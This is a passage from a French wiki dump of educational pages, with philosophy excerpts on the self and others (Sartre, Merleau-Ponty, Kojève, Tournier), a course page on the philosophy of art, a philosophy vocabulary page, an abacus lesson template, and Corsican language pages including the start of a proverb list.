nature sait mieux que lui ce qui est bon pour son espèce : elle veut la discorde. Idée d'une histoire universelle au point de vue cosmopolitique, IV. ALAIN Nous passons tous par cette expérience décisive, qui nous apprend en même temps la parole et la pensée. Nos premières idées sont des mots compris et répétés. L'enfant est comme séparé du spectacle de la nature, et ne commence jamais par s'en approcher tout seul ; on le lui montre et on le lui nomme. C'est donc travers l'ordre humain qu'il connaît toute chose ; et c'est certainement de l'ordre humain qu'il prend l'idée de lui-même, car on le nomme, et on le désigne lui-même, comme on lui désigne les autres. L'opposition du moi et du non-moi appartient aux théories abstraites ; la première opposition est certainement entre moi et les autres ; et cette opposition est corrélation ; car en l'autre je trouve mon semblable qui me pense comme je le pense. Cet échange, qui se fait d'abord entre la mère et l'enfant, est transporté peu à peu aux frères, aux amis, aux compagnons. Ces remarques sont pour rappeler qu'en toutes les recherches sur la nature humaine, il faut se tenir très près de l'existence collective, si naturelle à tout homme, et en tout cas seule possible pour l'enfant. KOJEVE Le schéma de l'évolution historique est donc le suivant : Au début, le futur Maître et le futur Esclave sont tous les deux déterminés par un Monde donné, naturel, indépendant d'eux : ils ne sont donc pas encore des êtres vraiment humains, historiques. Puis, par le risque de sa vie, le Maître s'élève au-dessus de la Nature donnée, de sa « nature » donnée (animale), et devient un être humain, un être qui se crée lui-même dans et par son Action négatrice consciente. Puis, il force l'Esclave à travailler. Celui-ci change le Monde donné réel. Il s'élève donc lui-aussi au-dessus de la Nature, de sa « nature » (animale) puisqu'il arrive à la rendre autre qu'elle n'est. Certes, l'Esclave, comme le Maître, comme l'Homme en général, est déterminé par le Monde réel. Mais puisque ce Monde a été changé1 , il change lui-même. Et puisque c'est lui qui a changé le Monde, c'est lui qui se change lui-même, tandis que le Maître ne change que par l'Esclave. Le processus historique, le devenir historique de l'être humain, est donc l'oeuvre de l'Esclave-travailleur, et non du Maître-guerrier. Certes, sans Maître, il n'y aurait pas eu d'Histoire. Mais ceci uniquement parce que sans lui il n'y aurait pas eu d'Esclave et donc de Travail. Donc encore une fois grâce à son Travail, l'Esclave peut changer et devenir autre qu'il n'est c'est-à-dire en fin de compte cesser d'être Esclave. Le travail est Bildung, au double sens du mot : d'une part il forme, transforme le Monde, l'humanise, en le rendant plus adapté à l'Homme ; d'autre part il transforme, forme, éduque l'homme, l'humanise en le rendant plus conforme à l'idée qu'il se fait de lui-même et qui n'est au prime abord qu'une idée abstraite, un idéal. Si donc au début, dans le Monde donné l'Esclave avait une « nature » craintive et devait se soumettre au Maître, au fort, il n'est pas dit qu'il en sera toujours ainsi. Grâce à son travail, il peut devenir autre ; et, grâce à son travail, le Monde peut devenir autre. Introduction à la lecture de Hegel, Gallimard, pp. 179-180 HEIDEGGER « Les autres » ne désignent pas la totalité de ce que je ne suis pas, de ce dont je me distingue ; au contraire, les autres sont plutôt ceux dont le plus souvent on ne se distingue pas soi-même et parmi lesquels on se trouve aussi. Le monde auquel je suis est toujours un monde que je partage avec d'autres, parce que l'être-au-monde est un être-au-monde-avec... Le monde de l'être-là est un monde commun. L'être-là... est un être-avec-autrui. L'Etre en soi intramondain d'autrui est coexistence. L'Etre et le Temps (1927), Paris, Gallimard, 1964, p.150 SARTRE (...) La honte dans sa structure première est honte devant quelqu'un. Je viens de faire un geste maladroit ou vulgaire : ce geste colle à moi, je ne le juge ni ne le blâme, je le vis simplement (...). Mais voici tout à coup que je lève la tête : quelqu'un était là et m'a vu. Je réalise tout de suite la vulgarité de mon geste et j'ai honte. (...) J'ai honte de moi tel que j'apparais à autrui. Et, par l'apparition même d'autrui, je suis mis en demeure de porter un jugement sur moi-même comme sur un objet, car c'est comme un objet que j'apparais à autrui. Mais pourtant cet objet apparu à autrui, ce n'est pas une vaine image dans l'esprit d'un autre. Cette image en effet serait entièrement imputable à autrui et ne saurait me "toucher". Je pourrais ressentir de l'agacement, de la colère en face d'elle comme devant un mauvais portrait de moi, qui me prête une laideur ou une bassesse d'expression que je n'ai pas ; mais je ne saurais être atteint jusqu'aux moelles : la honte est, par nature, reconnaissance. Je reconnais que je suis comme autrui me voit. L'Etre et le Néant, 3e partie, I, 1, Gallimard, pp. 265-266. SARTRE Par le je pense, contrairement à la philosophie de Descartes, contrairement à la philosophie de Kant, nous nous atteignons nous-mêmes en face de l'autre, et l'autre est aussi certain pour nous que nous-mêmes. Ainsi, l'homme qui s'atteint directement par le cogito découvre aussi tous les autres et il les découvre comme la condition de son existence. Il se rend compte qu'il ne peut rien être (au sens où on dit qu'on est spirituel, ou qu'on est méchant, ou qu'on est jaloux) sauf si les autres le reconnaissent comme tel. Pour obtenir une vérité quelconque sur moi, il faut que je passe par l'autre. L'autre est indispensable à mon existence, aussi bien d'ailleurs qu'à la connaissance que j'ai de moi. Dans ces conditions, la découverte de mon intimité me découvre en même temps l'autre, comme une liberté posée en face de moi, et qui rie veut que pour ou contre moi. Ainsi, découvrons-nous tout de suite un monde que nous appellerons l'intersubjectivité , et c'est dans ce monde que l'homme décide ce qu'il est et ce que sont les autres. En outre, s'il est impossible de trouver en chaque homme une essence universelle qui serait la nature humaine, il existe pourtant une universalité humaine de condition. Ce n'est pas par hasard que les personnes d'aujourd'hui -parlent plus volontiers de la condition de l'homme que de sa nature. Par condition Ils entendent avec plus ou moins de clarté l'ensemble des limites a priori qui esquissent sa situation fondamentale dans l'univers. Les situations historiques varient : l'homme peut naître esclave dans une société païenne ou seigneur féodal ou prolétaire. Ce qui ne varie pas, c'est la nécessité pour lui d'être dans le monde, d'y être au travail, d'y être au milieu des autres et d'y être mortel. Les limites ne sont ni subjectives ni objectives ou plutôt elles ont une face objective et une face subjective. Objectives parce qu'elles se rencontrent partout et sont partout reconnaissables, elles sont subjectives parce qu'elles sont vécues et ne sont rien si l'homme ne les vit, c'est-à-dire ne se détermine librement dans son existence par rapport à elles. Et, bien que les projets puissent être divers, au moins aucun ne me reste-t-il tout à fait étranger parce qu'ils se présentent tous comme un essai pour franchir ces limites ou pour les reculer ou pour les nier ou pour s'en accommoder. En conséquence, tout projet, quelque individuel qu'il soit, a une valeur universelle. L'Existentialisme est un humanisme SARTRE Considérons ce garçon de café. Il a le geste vif et appuyé, un peu trop précis, un peu trop rapide, il vient vers les consommateurs d'un pas un peu trop vif, il s'incline avec un peu trop d'empressement, sa voix, ses yeux expriment un intérêt un peu trop plein de sollicitude pour la commande du client, enfin le voilà qui revient, en essayant d'imiter dans sa démarche la rigueur inflexible d'on ne sait quel automate tout en portant son plateau avec une sorte de témérité de funambule, en le mettant dans un équilibre perpétuellement instable et perpétuellement rompu, qu'il rétablit perpétuellement d'un mouvement léger du bras et de la main. Toute sa conduite nous semble un jeu. Il s'applique à enchaîner ses mouvements comme s'ils étaient des mécanismes se commandant les uns les autres, sa mimique et sa voix même semblent des mécanismes ; il se donne la prestesse et la rapidité impitoyable des choses. Il joue, il s'amuse. Mais à quoi donc joue-t-il ? Il ne faut pas l'observer longtemps pour s'en rendre compte : il joue à être garçon de café. Il n'y a rien là qui puisse nous surprendre : le jeu est une sorte de repérage et d'investigation. L'enfant joue avec son corps pour l'explorer, pour en dresser l'inventaire ; le garçon de café joue avec sa condition pour la réaliser. Cette obligation ne diffère pas de celle qui s'impose à tous les commerçants : leur condition est toute de cérémonie, le public réclame d'eux qu'ils la réalisent comme une cérémonie, il y a la danse de l'épicier du tailleur, du commissaire priseur, par quoi ils s'efforcent de persuader à leur clientèle qu'ils ne sont rien d'autre qu'un épicier, qu'un commissaire-priseur, qu'un tailleur. Un épicier qui rêve est offensant pour l'acheteur, parce qu'il n'est plus tout à fait un épicier. La politesse exige qu'il se contienne dans sa fonction d'épicier, comme le soldat au garde-à-vous se fait chose-soldat avec un regard direct mais qui ne voit point, qui n'est plus fait pour voir, puisque c'est le règlement et non l'intérêt du moment qui détermine le point qu'il doit fixer (le regard « fixé à dix pas »). Voilà bien des précautions pour emprisonner l'homme dans ce qu'il est. Comme si nous vivions dans la crainte perpétuelle qu'il n'y échappe, qu'il ne déborde et n'élude tout à coup sa condition. Mais c'est que, parallèlement, du dedans le garçon de café ne peut être immédiatement garçon de café, au sens où cet encrier est encrier, où le, verre est verre. Ce n'est point qu'il ne puisse former des jugements réflexifs ou des concepts sur sa condition. Il sait bien ce qu'elle « signifie » : l'obligation de se lever à cinq heures, de balayer le sol du débit, avant l'ouverture des salles, de mettre le percolateur en train, etc. Il connaît les droits qu'elle comporte : le droit au pourboire, les droits syndicaux, etc. Mais tous ces concepts, tous ces jugements renvoient au transcendant. Il s'agit de possibilités abstraites, de droits et de devoirs conférés à un « sujet de droit ». Et c'est précisément ce sujet que j'ai à être et que je ne suis point. Ce n'est pas que je ne veuille pas l'être ni qu'il soit un autre. Mais plutôt il n'y a pas de commune mesure entre son être et le mien. Il est une « représentation » pour les autres et pour moi-même, cela signifie que je ne puis l'être qu'en représentation. Mais précisément si je me le représente, je ne le suis point, j'en suis séparé, comme l'objet du sujet, séparé par rien, mais ce rien m'isole de lui, je ne puis l'être, je ne puis que jouer à l'être, c'est-à-dire m'imaginer que je le suis. Et, par là même, je l'affecte de néant. J'ai beau accomplir les fonctions de garçon de café, je ne puis l'être que sur le mode neutralisé, comme l'acteur est Hamlet, en faisant mécaniquement les gestes typiques de mon état et en me visant comme garçon de café imaginaire à travers ces gestes... Ce que je tente de réaliser c'est un être-en-soi du garçon de café, comme s'il n'était pas justement en mon pouvoir de conférer leur valeur et leur urgence à mes devoirs d'état, comme s'il n'était pas de mon libre choix de me lever chaque matin à cinq heures ou de rester au lit quitte à me faire renvoyer. L'Etre et le Néant, Paris, Gallimard, 1976, coll. Tel, pp. 95-96 MERLEAU-PONTY L'homme public, puisqu'il se mêle de gouverner les autres, ne peut se plaindre d'être jugé sur ses actes dont les autres portent la peine, ni sur l'image souvent inexacte qu'ils donnent de lui. Comme Diderot le disait du comédien en scène, nous avançons que tout homme qui accepte de jouer un rôle porte autour de soi un « grand fantôme » dans lequel il est désormais caché, et qu'il est responsable de son personnage même s'il n'y reconnaît pas ce qu'il voulait être. Le politique n'est jamais aux yeux d'autrui ce qu'il est à ses propres yeux, non seulement parce que les autres le jugent témérairement, mais encore parce qu'ils ne sont pas lui, et que ce qui est en lui erreur ou négligence peut être pour eux mal absolu, servitude ou mort. Acceptant, avec un rôle politique, une chance de gloire, il accepte aussi un risque d'infamie, l'une et l'autre imméritées . L'action politique est de soi impure parce qu'elle est action de l'un sur l'autre et parce qu'elle est action à plusieurs. Un opposant pense utiliser les koulaks ; un chef pense utiliser pour sauver son oeuvre l'ambition de ceux qui l'entourent. Si les forces qu'ils libèrent les emportent, les voilà, devant l'histoire, l'homme des koulaks et l'homme d'une clique. Aucun politique ne peut se flatter d'être innocent. Gouverner, comme on dit, c'est prévoir, et le politique ne peut s'excuser sur l'imprévu. Or, il y a de l'imprévisible. Voilà la tragédie. MERLEAU-PONTY Autrui ou moi, il faut choisir, dit-on. Mais on choisit l'un contre l'autre, et ainsi on affirme le conflit. Autrui me transforme en objet et me nie, je transforme autrui en objet et le nie, dit-on. En réalité le regard d'autrui ne me transforme en objet, et mon regard ne le transforme en objet, que si l'un et l'autre nous nous retirons dans le fond de notre nature pensante, si nous nous faisons l'un et l'autre regard inhumain, si chacun sent ses actions, non pas reprises et comprises, mais observées comme celles d'un insecte. C'est par exemple ce qui arrive quand je subis le regard d'un inconnu. Mais même alors, l'objectivation de chacun par le regard de l'autre n'est ressentie comme pénible que parce qu'elle prend la place d'une communication possible. Le regard d'un chien sur moi ne me gêne guère. Le refus de communiquer est encore un mode de communication. La liberté protéiforme, la nature pensante, le fond inaliénable, l'existence non qualifiée, qui en moi et en autrui marque les limites de toute sympathie, suspend bien la communication, mais ne l'anéantit pas. Si j'ai affaire à un inconnu qui n'a pas encore dit un seul mot, je peux croire qu'il vit dans un autre monde où mes actions et mes pensées ne sont pas dignes de figurer. Mais qu'il dise un mot, ou seulement qu'il ait un geste d'impatience, et déjà il cesse de me transcender : c'est donc là sa voix ce sont là ses pensées, voilà donc le domaine que je croyais inaccessible. Chaque existence ne transcende définitivement les autres que quand elle reste oisive et assise sur sa différence naturelle. Phénoménologie de la perception, p. 414, Gallimard TOURNIER La solitude n'est pas une situation immuable où je me trouverais plongé depuis le naufrage de la Virginie. C'est un milieu corrosif qui agit sur moi lentement, mais sans relâche et dans un sens purement destructif. Le premier jour, je transitais entre deux sociétés humaines également imaginaires : l'équipage disparu et les habitants de l'île, car je la croyais peuplée. J'étais encore tout chaud de mes contacts avec mes compagnons de bord. Je poursuivais imaginairement le dialogue interrompu par la catastrophe. Et puis elle s'est révélée déserte. J'avançai dans un paysage sans âme qui vive. Derrière moi, le groupe de mes malheureux compagnons s'enfonçait dans la nuit. Leurs voix s'étaient tues depuis longtemps, quand la mienne commençait seulement à se fatiguer de son soliloque. Dès lors je suis avec une horrible fascination le processus de déshumanisation dont je sens en moi l'inexorable travail. Je sais maintenant que chaque homme porte en lui et comme au-dessus de lui un fragile et complexe échafaudage d'habitudes, réponses, réflexes, mécanismes, préoccupations, rêves et implications qui s'est formé et continue à se transformer par les attouchements perpétuels de ses semblables. Privée de sève, cette délicate efflorescence s'étiole et se désagrège. Autrui, pièce maîtresse de mon univers... Je mesure chaque jour ce que je lui devais en enregistrant de nouvelles fissures dans mon édifice personnel. Je sais ce que je risquerais en perdant l'usage de la parole, et je combats de toute l'ardeur de mon angoisse cette suprême déchéance. Mais mes relations avec les choses se trouvent elles-mêmes dénaturées par ma solitude. Lorsqu'un peintre ou un graveur introduit des personnages dans un paysage ou à proximité d'un monument, ce n'est pas par goût de l'accessoire. Les personnages donnent l'échelle et, ce qui importe davantage encore, ils constituent des points de vue possibles, qui ajoutent au point de vue réel de l'observateur d'indispensables virtualités. A Speranza, il n'y a qu'un point de vue, le mien, dépouillé de toute virtualité. Et ce dépouillement ne s'est pas fait en un jour. Au début, par un automatisme inconscient, je projetais des observateurs possibles des paramètres au sommet des collines, derrière tel rocher ou dans les branches de tel arbre. L'île se trouvait ainsi quadrillée par un réseau d'interpolations et d'extrapolations qui la différenciait et la douait d'intelligibilité. Ainsi fait tout homme normal dans une situation normale. Je n'ai pris conscience de cette fonction comme de bien d'autres qu'à mesure qu'elle se dégradait en moi. Aujourd'hui, c'est chose faite. Ma vision de file est réduite à elle-même. Ce que je n'en vois pas est un inconnu absolu... Partout où je ne suis pas actuellement règne une nuit insondable. [...] Je sais maintenant que la terre sur laquelle mes deux pieds appuient aurait besoin pour ne pas vaciller que d'autres que moi la foulent. Contre l'illusion d'optique, le mirage, l'hallucination, le rêve éveillé, le fantasme, le délire, le trouble de l'audition... le rempart le plus sûr, c'est notre frère, notre voisin, notre ami ou notre ennemi, mais quelqu'un, grands dieux, quelqu'un ! Vendredi ou les limbes du Pacifique, collection Folio, Éd. Gallimard, 1972, pp. 53-55. Philosophie/Art 242 46042 2006-06-27T18:20:42Z Guillaumito 46 [[Art]] déplacé vers [[Philosophie/Art]]: Convention de nommage {{SommairePhilo}} <font size="+2"><center>'''La philosophie de l'art'''</center></font> <br> Commençons par nous demander ce qui distingue l'activité artistique de toute autre activité humaine. ==Caractéristiques de l’art== Le mot "art" a un sens très large : c'est un ensemble de procédés visant à produire un résultat. Il désigne donc l'art culinaire, médical, etc. autant que les beaux-arts. Pour cerner le sens de ce mot, ce qu'il y a de spécifique en lui, on le distingue souvent de la nature (considérée comme un autre mode de production des êtres) et de la science (considérée comme pure théorie par opposition au faire de tout art en général). Voyons si ces distinctions nous apprennent quelque chose. ===Art et nature=== L’art s’oppose à la nature comme l’élaboré s’oppose au donné. L’objet naturel est produit par une cause naturelle. Celle-ci peut être physique et/ou chimique, biologique ; l’objet élaboré est donc différent de l’instinct. Caractère de l’instinct : *il est inné, transmis biologiquement ; *il est inconscient, comme un automatisme. L’instinct est donc une force innée et inconsciente, qui détermine les mouvements de l’animal. Cette force amène l’animal à répéter les mêmes gestes, répétitions qui s’oppose à l’art. Cette répétition ne fait apparaître aucun progrès. L’instinct est sûr : une araignée ne rate jamais sa toile. L’instinct met en œuvre une causalité nécessaire, mécanique, un enchaînement de causes et d’effets : le déterminisme. Toutes les actions animales sont déterminées, s’opposant ainsi à la liberté de l'artiste (prévisibilité, absence de liberté). L’objet de l’art doit donc être produit par un être conscient (différent d’instinct), intelligent et libre. L’homme se représente l’objet de l’art avant de la produire. Il n’y a pas d’art sans cette faculté d’anticipation. L’objet existe d’abord dans la conscience, sous forme idéale (conscience de l’artisan par exemple). Ces formes idéales déclenchent une action volontaire. La causalité est finale (différente de mécanique, d’instinctive). Il s’agit de trouver les moyens les plus efficaces pour réaliser l’objet dont on a l’idée : ce sont les moyens techniques : *un ensemble de règles, de procédés permettant d’élaborer l’objet. La pratique s’apprend (dans le temps) par la maîtrise (différent d’innée). C’est une astreinte à des exercices répétés et qui permettent de progresser (différent d’instinct, de sûreté). On peut donc distinguer : *Animal > instinct > causalité mécanique > instinct réalisé *Homme > intention > causalité finale > volonté > causalité mécanique > objet Chez l’homme, l’objet précède la cause, l’action ; chez l’animal, l’objet suit la cause. 1.Première conséquence : l’art consiste à faire, mais exige surtout de bien faire (différent d’instinct). 2.Seconde conséquence : cette manière de faire varie selon les métiers, les individus et les époques : l’art est une marque distinctive se rapportant à son auteur : il exprime son auteur, son école, son époque, etc. ===Art et science=== La science appartient au domaine théorique (idée, pensée, savoir). La science pense le monde ; au contraire, l’art appartient au domaine pratique : action, agir sur la matière, sur le monde extérieur. L’art exige cependant un savoir et donc comporte un domaine théorique ; le savoir faire, connaissances au service de la transformation de la matière. L’art consiste à faire acquérir au corps des mouvements nouveaux, qu’il n’accomplit pas naturellement ; il change et modifie le corps (danse, musique, etc.). Il est modifié pour s’adapter à des instruments extérieurs. L’art fait acquérir au corps des habitudes, gestes accomplis sans qu’intervienne la volonté. Le virtuose, par sa maîtrise technique, ne fait plus que jouer. L’artiste obtient une nouvelle nature, en plus de celle qui lui est donné à la naissance. Conséquence : la diversité des arts et des métiers est irréductible. Les arts changent entièrement selon leur objet, ils sont incompatibles : la spécialisation est absolument nécessaire. Qu’en est-il de la science ? Pour Descartes, dans ''Les Règles pour la direction de l’esprit'', on peut faire plusieurs sciences en même temps, par la méthode : la raison est toujours la même quelle que soit la science que l’on étudie, et quel que soit l’objet étudié ; l’objet ne change pas la raison (plus on progresse dans une science, plus on progresse dans les autres arts, ou plus on progresse dans un art, plus il faut renoncer aux autres). Selon Descartes, toutes les sciences se réduisent à une seule science, à une seule méthode. *la méthode cartésienne, opérations de l’esprit : **intuition de principes simples ; **déduction de connaissances de plus en plus complexes ; **revue des termes. Dans les sciences, on n’acquiert pas d’habitudes. On détruit toutes les habitudes de la pensée : préjugés, opinions, pour retrouver la nature première de la raison, sa « lumière naturelle. » ===Différence entre l’artisan et l’artiste=== *Première différence : -l'apprentissage : il peut être entièrement appris. L’artisanat applique des techniques déjà établies, connues, transmises par des prédécesseurs sous formes de règles formulables et communicables. Première qualité de l’artisan : l’habileté. -l’art de l’artiste ne peut entièrement être acquis par des études et un apprentissage : l’artiste doit cependant acquérir des techniques (virtuosité et maîtrise dans les techniques d’un art). l’art s’accommode de contraintes. Mais l’apprentissage ne suffit pas : chacun peut écrire un poème ; mais on ne peut apprendre à écrire un beau poème ; il faut une disposition particulière, un talent spécifique, un génie inné. Il y a ainsi deux sortes de règles : techniques scolaires (qui viennent de l’école et qui sont nécessaires) ; règles du génie (inconscientes), que l’artiste ne peut expliquer ou formuler en mots et ne peut donc enseigner. Par exemple, pour Kant, il n’y a de génie que dans l’art (et pas dans la science). *deuxième différence : Art de l’artisan : vise l’utilité, i.e. il n’a pas sa fin en lui-même, mais moyen en vue d’une fin extérieure, donner à l’objet une forme en vue d’une fin ; la fin commande la forme. Art de l’artiste : pas d’utilité en soi. L’œuvre est sa propre fin. Mais certaines œuvres ont un côté utilitaire et un côté esthétique (architecture : utilité et esthétique). Pas de fin matérielle, ne nous permet pas de satisfaire nos besoins vitaux : l’art dépasse la vie biologique ; il a une portée métaphysique, dépasse la nature et la vie naturelle. L’art n’a pas non plus de fin intellectuelle (instruire, etc.) ni morale... *Troisième différence : L’artisan peut se représenter entièrement l’objet qu’il va réaliser. On parle de fabrication (différent de création) : transformation de la matière en vue d’un modèle déjà prévue : pas d’imprévisible. L’artiste utilise les règles du génie, en plus des règles scolaires. Ces règles du génie sont inconscientes. L’artiste a des intentions, sans être capable de se représenter précisément son œuvre avant de la produire. Il découvre son œuvre à mesure qu’il la crée : l’œuvre d’art est imprévisible pour le spectateur et pour l’artiste lui-même. Valéry : plus une œuvre surprend son auteur, plus elle est importante. Ce n’est plus du domaine de la fabrication, mais de la création : l’œuvre rompt avec ce qui existe antérieurement. Il y a plus dans l’œuvre finie que dans l’œuvre de départ. Art de l’artiste : création d’une œuvre qu’on ne peut pas expliquer par les seules règles techniques (scolaires), et qui pour cela est absolument surprenante. == Description d'une œuvre d'art== *L'œuvre d'art est le résultat d'une activité humaine créatrice, tout comme les objets techniques. *L'œuvre d'art est une réalité sensible : ce n'est pas une réalité conceptuelle (on ne peut déduire la beauté du concept d'un objet). *La réalité matérielle de l'œuvre d'art (ses propriétés) n'explique pas sa nature artistique qui est une réalité d'une nature différente. *L'œuvre d'art que nous voyons ou entendons nous donne à voir autre chose que ce que nous voyons ou entendons. ==Classification des arts== Peut-on classer les arts, et selon quel critère ? A présent que nous possédons quelques critères distinctifs de l'activité artistique, il nous faut nous demander quelle est la nature du beau produit par l'art. == L'esthétique == L’esthétique (du grec aisthèsis, « sensation ») est la partie de la philosophie qui a pour objet l’essence et la perception du beau. Elle étudie le jugement et les émotions esthétiques, ainsi que les différentes formes de l'art. L'esthétique est ainsi une théorie du Beau ; deux aspects fondamentaux peuvent être particulièrement remarqués : *l'esthétique est une théorie qui se veut science normative, à côté de la logique et de la [[morale]] (d'après les valeurs humaines fondamentales : le vrai, le bien, le beau). Elle est donc une théorie d'un certain type de jugements de valeur qui énonce les normes générales du beau. *l'esthétique est aussi une métaphysique du Beau, qui s'efforce de dévoiler la source originelle de toutes beautés sensibles : reflet de l'intelligible dans la matière (Platon), manifestation de l'idée (Hegel), beau naturel et beau arbitraire (humain), etc. Mais ce caractère métaphysique et souvent dogmatique de l'esthétique peut être remplacé par une philosophie de l'art, où il s'agit de tirer les règles de l'art de l'action créatrice même, au lieu d'imposer des constructions a priori de ce qu'est le beau. Dans ce cas, la philosophie de l'art est une réflexion sur les procédés techniques élaborés par l'homme, et sur les conditions sociales qui font tenir pour artistique un certain type d'action. === Les théories du beau === *beau, expression du bien (Platon) *manifestation de l'idée (Hegel) === Le jugement de goût === Le terme "esthétique" a été créé par [[Baumgarten]], titre de son ''[[Aesthética]]''. Cet ouvrage traite du goût et de sa formation, i.e. des appréciations d'art chez un individu, et définit le beau comme la perfection saisie par les sens. Le jugement esthétique est un jugement singulier que nous tenons pour universel. La difficulté est de savoir comment un tel jugement est possible. Comment pouvons-nous exprimer un tel jugement qu'aucune règle logique ne peut valider ? ==Les conditions de l'art== ===Conditions psychophysiologiques=== La sensibilité est le point de départ du jugement esthétique : il y a une sensualité esthétique de tous les sens, un besoin d'exercice qui se remarque déjà chez l'enfant. Même du point de vue de la connaissance, [[Aristote]] évoque la jouissance des sens dans l'acte de connaître : "Tous les hommes ont, par nature, le désir de connaître ; le plaisir causé par les sensations en est la preuve, car, en dehors de leur utilité, elles nous plaisent par elles-mêmes, et, plus que toutes les autres, les sensations visuelles." ([[Métaphysique]], livre A). Il ne faut donc pas réduire l'esthétique seulement à l'art, mais bien y inclure l'ensemble des opérations perceptives humaines. ===Conditions sociales=== *Transhistoricité de l'oeuvre d'art. ==Définition de l’art== Tentons maintenant une synthèse de ce qui précède. (Manière particulière de faire qui suppose une volonté soutenue (différent d’instinct bref), un apprentissage permanent, une attention particulière, un effort.) == Sujets de dissertation == *L'œuvre d'art a-t-elle quelque chose à nous dire? *L'œuvre d'art doit-elle être belle? *L'art est-il le règne de l'apparence? *Qu’est-ce qui distingue l’œuvre d’art de toute autre production humaine ? *Peut-on tirer une jouissance esthétique de ce que l'on ne comprend pas? *Une œuvre d'art est-elle un objet sacré ? *Sans l'art, parlerait-on de beauté ? *Où commence et où finit l'art ? == Textes d'étude == SOCRATE: Le plus grand des méfaits de la poésie, nous ne l'en avons pas encore accusée: c'est qu'elle est capable de contaminer même les sages, à l'exception de quelques-uns en très petit nombre; (...) les meilleurs d'entre nous, quand ils entendent Homère, ou tel autre parmi les tragiques, imiter un héros qui est dans le deuil, qui remplit de ses lamentations une longue tirade ou qui, en chantant, se frappe la poitrine, ils y trouvent, tu le sais bien, du plaisir, ils se laissent aller, ils suivent le mouvement, ils s'associent aux émotions exprimées, ils louent gravement comme un bon poète celui GLAUCON: Je le sais bien! Et comment en serait-il autrement? SOCRATE: Mais, quand un chagrin personnel survient à tel d'entre nous, réfléchis-tu en revanche que nous nous parons de l'attitude contraire, si nous sommes capables de garder notre calme et de nous résigner? dans la conviction que cela est d'un homme, tandis que la manière d'être que nous louions alors est d'une femme? GLAUCON: J'y réfléchis, dit-il. SOCRATE: Est-elle donc de mise, repris-je, cette louange? est-il de mise, qu'en voyant un homme se comporter d'une façon dont on ne voudrait pas se comporter soi-même, dont au contraire on aurait honte, on n'en soit pas dégoûté, mais qu'au contraire, on s'y plaise et qu'on la loue? GLAUCON: Non, par Zeus, dit-il, cela n'est pas raisonnable. Platon, ''La République'' ==Bibliographie indicative== *Ion, Platon *Le Banquet, Platon *Philèbe, Platon *La poétique, Aristote *Les beaux-arts réduits à un même principe, Charles Batteux *Recherche philosophique sur l'origine du beau et du sublime, Edmund Burke *Æsthetica, Baumgarten *Essais esthétiques, Hume *Lettres sur l'éducation esthétique de l'homme, Schiller *Ecrits sur l'art, Goethe *Observations sur le sentiment du beau et du sublime, Kant *Critique de la faculté de juger, Kant *Esthétique, Hegel *Le Monde comme volonté et comme représentation, Schopenhauer *La Naissance de la tragédie, Nietzsche *Histoire de l'art, Elie Faure *Phénoménologie de l'expérience esthétique, M. Dufrenne *L'Œil et l'Esprit, Merleau-Ponty *Chemins qui ne mènent nulle partou ailleurs, Heidegger ==Vocabulaire== beau | jugement | [[perception]] Vocabulaire philosophique 243 12040 2005-06-03T12:05:52Z Marc 66 {{SommairePhilo}} Outre les notions du programme, quelques définitions pour servir de repère. *connaissance *[[conscience]] *croyance *[[w:métaphysique|métaphysique]] *opinion *pensée *[[w:raison|raison]] *sagesse *savoir *[[w:vérité|vérité]] '''Voir aussi''' *[[Vocabulaire de la philosophie kantienne]] Modèle:Boulier 244 12041 2004-07-31T20:39:24Z HB 15 Création {| style="border:1px solid #996600;" cellspacing="0" cellpadding="5" width="150" align="right" | style="font: 100% Verdana; color:black" align="center" bgcolor="#ECE5CA" | '''[[S'initier au boulier en 10 leçons]]''' |- | style="font: 100% Verdana; color:black" align="left" | * [[S'initier au boulier en 10 leçons - Introduction|Introduction]] * [[S'initier au boulier en 10 leçons - Leçon 1|Bases et vocabulaire]] * [[S'initier au boulier en 10 leçons - Leçon 2|Les 8 techniques de l'addition]] * [[S'initier au boulier en 10 leçons - Leçon 3|Les 8 techniques de la soustraction]] * [[S'initier au boulier en 10 leçons - Leçon 4|Exercices]] * [[S'initier au boulier en 10 leçons - Leçon 5|La multiplication]] * [[S'initier au boulier en 10 leçons - Leçon 6|Exercices]] * [[S'initier au boulier en 10 leçons - Leçon 7|La division]] * [[S'initier au boulier en 10 leçons - Leçon 8|Exercices]] * [[S'initier au boulier en 10 leçons - Leçon 9|La base hexadécimale avec le boulier chinois]] * [[S'initier au boulier en 10 leçons - Leçon 10|Exercices]] |} Enseignement du corse 245 44031 2006-06-06T15:03:32Z 86.216.154.147 /* Liens externes */ [[Image:Corse-eglise4.jpg|200px|right]] [en cours de réalisation - autres variantes nécessaires] * la [[Enseignement du corse:variété taravaise|variété taravaise]] * la [[Enseignement du corse:variété sartenaise|variété sartenaise]] * la [[Enseignement du corse:varieté bonifacienne|varieté bonifacienne]] * la variété [à ajouter] * les différences entre les variétés taravaise et sartenaise == Appendices == #[[Corse : expressions corses]] #[[wikt:accueil|Dictionnaire Corse-Français]] #[[:co:wikt:Main Page|Dictionnaire Français-Corse]] #[[prénoms corses| Prénoms corses]] #[[proverbes corses| Proverbes corses '''Pruverbii''']] #[[toponymes corses| Toponymes corses '''Toponimi''']] == Bibliographie == * Foata, Pierre (1980) ''Essai sur les dialectes du Sud de la Corse'', Art et Artisanat rural === A propos du livre === #[[Auteurs]] #[[Historique]] === Liens externes === * [http://co.wikipedia.org wikipedia en langue corse] * [http://co.wiktionary.org U wikizziunariu, wiktionary en langue corse] * [http://www.linguacorsa.net A lingua corsa adatta à e nove tecnulugie] * [http://perso.wanadoo.fr/gbatti-alinguacorsa Cours de langue corse] * [http://fst.univ-corse.fr Enseignement du corse à l'Université] * [http://perso.orange.fr/e.garidacci/ Lingua Corsa, Billezza Viva] [[Catégorie:Langue|Corse]] Proverbes corses 247 40381 2006-04-16T13:47:22Z 62.235.65.178 /* A */ __NOTOC__ [[#A|A]] [[#B|B]] [[#C|C]] [[#D|D]] [[#E|E]] [[#F|F]] [[#G|G]] [[#H|H]] [[#I|I]] [[#J|J]] [[#L|L]] [[#M|M]] [[#N|N]] [[#O|O]] [[#P|P]] [[#Q|Q]] [[#R|R]] [[#S|S]] [[#T|T]] [[#U|U]] [[#V|V]] [[#W|W]] [[#X|X]] [[#Y|Y]] [[#Z|Z]] ==A== :'''A bacia t'hà l'anchi corti. ''' Le mensonge a les jambes trop courtes. (On s'aperçoit toujours d'un mensonge.) :'''A bocca chjusa, nè pani nè bonbucconi. ''' Celui qui demeure la bouche fermée n'obtient ni pain ni bons aliments. :'''A casa piglia, a casa rendi. ''' La maison rend toujours ce qu'elle prend. :'''A casa ind'eddu un 